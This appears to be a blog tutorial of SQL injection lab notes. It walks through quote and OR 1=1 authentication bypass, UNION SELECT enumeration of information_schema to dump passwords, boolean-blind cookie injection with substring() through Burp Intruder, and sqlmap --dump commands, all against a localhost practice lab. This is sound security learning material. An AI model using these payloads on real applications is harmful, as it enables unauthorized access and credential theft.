SQLi

Insert SQL query to bypass authentication and retrieve data from the database

By Ren Sie

Refer: OWasp A03:2021

  • How: Start off adding single/double quote to break the structure and study the responses. If vulnerable, append query to retrieve information.
  • Type: Classic, UNION, Blind, Time-based

SQLi Vulnerability Discovery

Note: 💭 When determining SQLi, think of everything you send to the application, how it may be used?

Database: Select user from users where username = “User_Input” or ‘User_Input’
Visit SQLi cheat sheet.

  1. Single of double quote. Try to break the design.
    E.g., bob' or bob"
  2. Logical query: or 1=1
    E.g., bob' or 1=1, bob' or '1=1, bob" or "1=1
  3. Comment : # – -, everything after it will be ignored.
    E.g., bob' or '1=1# bob' or '1=1-- - bob" or "1=1# bob" or "1=1-- -

SQLi Union

It appends an additional SQL query after the original, legitimate one.

Note: ⚠️UNION SELECT: Determine the available column number can be returned first. Keep adding ,NULL values until the query returns results properly. SQL: bob’ union select null#

In the first example, the database contains 3 columns that contains text. But it only gives us two output bob and null.

The example has 3 columns available.

  1. Table
    UNION SELECT table_name from information_schema.tables#
    
  2. Column
    UNION SELECT column_name from information_schema.columns#
    
  3. Retrieve Data
    UNION SELECT username from <Table>
    

Version Query

Insert version query make it return at the 3rd column. Which tells us the version of the SQL database is 8.0.43.

SQL: bob' union select null,null,version()#

Return:
Username: bob - Email: bob@example.com
Username: Email: 8.0.43

Available_Table Query

Use table_name from information_schema.tables to retrieve all available table name from the DB.

SQL: bob' union select null,null,table_name from information_schema.tables#

Return: Username: bob - Email: bob@example.com
Username: - Email: CHARACTER_SETS
Username: - Email: CHECK_CONSTRAINTS
.
.
.
Username: - Email: injection0x01
Username: - Email: injection0x02
Username: - Email: injection0x03_products
Username: - Email: injection0x03_users
Username: - Email: xss0x02

Available_Column Query

Use column_name from information_schema.columns to retrieve all available column names from the DB.

SQL: bob' union select null,null,column_name from information_schema.columns#

Username: bob - Email: bob@example.com
Username: - Email: ENCRYPTION
Username: - Email: username
Username: - Email: password
Username: - Email: email
Username: - Email: session

Retrieve Password Query

Since we discover there’s password in our current table injection0x01. use select password from injection0x01.

SQL: jeremy' union select password from injection0x01,null,null#

Username: jeremy - Email: jeremy@example.com
Username: - Email: jeremyspassword
Username: - Email: jessamyspassword
Username: - Email: bobspassword

Note: ⚠️ If 1st column doesn’t work, try insert query in 2nd column. If it still not working, try 3rd column, and so on. SQL: jeremy’ union select null,password from injection0x01,null#

SQLi Blind

when Web application doesn’t return any error messages or data from DB. We need to look for subtle differences in the server’s response, which can reveal whether the input field is vulnerable to SQL injection.
E.g., Response Content-Length

Note: 🚨 If it return the same response as the original request, it means the input is vulnerable to SQLi.

After determine the vulnerability to SLQi Blind, we use YES/NO approach to extract data.
E.g., Is user ‘Admin’ existed in DB? YES/NO?

Burp Suite Proxy

Using Burp Proxy intercept POST /labs/i0x02.php request that contains login payload username=jeremy&password=jeremy.
Copy and paste the entire body to .txt file, we will use SQLMAP to identify injectable input area.

POST /labs/i0x02.php HTTP/1.1
Host: localhost
Content-Length: 31
Cache-Control: max-age=0
Origin: [http://localhost](http://localhost/)
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: keep-alive
username=jeremy&password=jeremy

Identify SQL injectable by SQLMap

Run the application against target HTTP request, it will analyze and tell us which input is vulnerable to SQLi.

$ sudo sqlmap -r <Path_to_Target_File>

The result suggest all the input in the page aren’t injectable.

[12:28:49] [WARNING] heuristic (basic) test shows that POST parameter ‘username’ might not be injectable
[12:29:06] [WARNING] POST parameter ‘username’ does not seem to be injectable
[12:29:06] [WARNING] heuristic (basic) test shows that POST parameter ‘password’ might not be injectable
[12:29:07] [WARNING] POST parameter ‘password’ does not seem to be injectable
[12:29:07] [CRITICAL] all tested parameters do not appear to be injectable.

After learning the 1st request we captured isn’t valuable, we move on to the next request GET /labs/i0x02.php which contains our session cookie in the body.

Cookie: session=6967cabefd763ac1a1a88e11159957db
Response: Content-Length: 1027

Insert quote to test if we can break the structure, which gives us the same Content-Length in response.

Cokie: session=6967cabefd763ac1a1a88e11159957db' and 1=1#
Response: Content-Length: 1027

Substr()

Syntax: substr(string,start,length)

For instance: substr("SQL Test",5,3)
# Extract a substring from a string, and start at position 5, extract 3 characters.

In our case, if we send Cookie: session=<cookie>' and substring('a',1,1) = 'a'# which will return normal Content-Length. That’s because the string the 1st character from position 1 is equal to ‘a’
So we’d like to compare the provide character with the data in the DB.

Version Testing
  1. Send Cookie: session=<cookie>' and substring((version()),1,1) = '8'# which return normal Content-Length (1027).
    # That indicates the version start with 8.
  2. After testing each number of the version one by one. we retrieve the SQL version with Cookie: session=<cookie>' and substring((version()),1,5) = '8.0.4'# that return normal Content-Length (1027)

Burp Suite Intruder

Since password can be long and complex, we can utilize the Burp Intruder perform the automatic task.

  1. Send the request to intruder
    Cookie: session=<cookie>' and substring((select password from injection0x02 where username = 'jeremy'),1,1) = 'payload'#`
    
  2. Use all Alphanumeric character as payload
    Burp Intruder Payload

  3. Determine the correct character by studying the Content-Length
    Use "Welcome" and Length to determine the success in this case!

SQL Map

- $ python3 sqlmap.py -r <Path_to_Target_File> --level=2  
 # --level=2 meant for cookie parameter injection.  
- $ python3 sqlmap.py -r <Path_to_Target_File> -T <Table_name> --dump
Share: X (Twitter) Facebook LinkedIn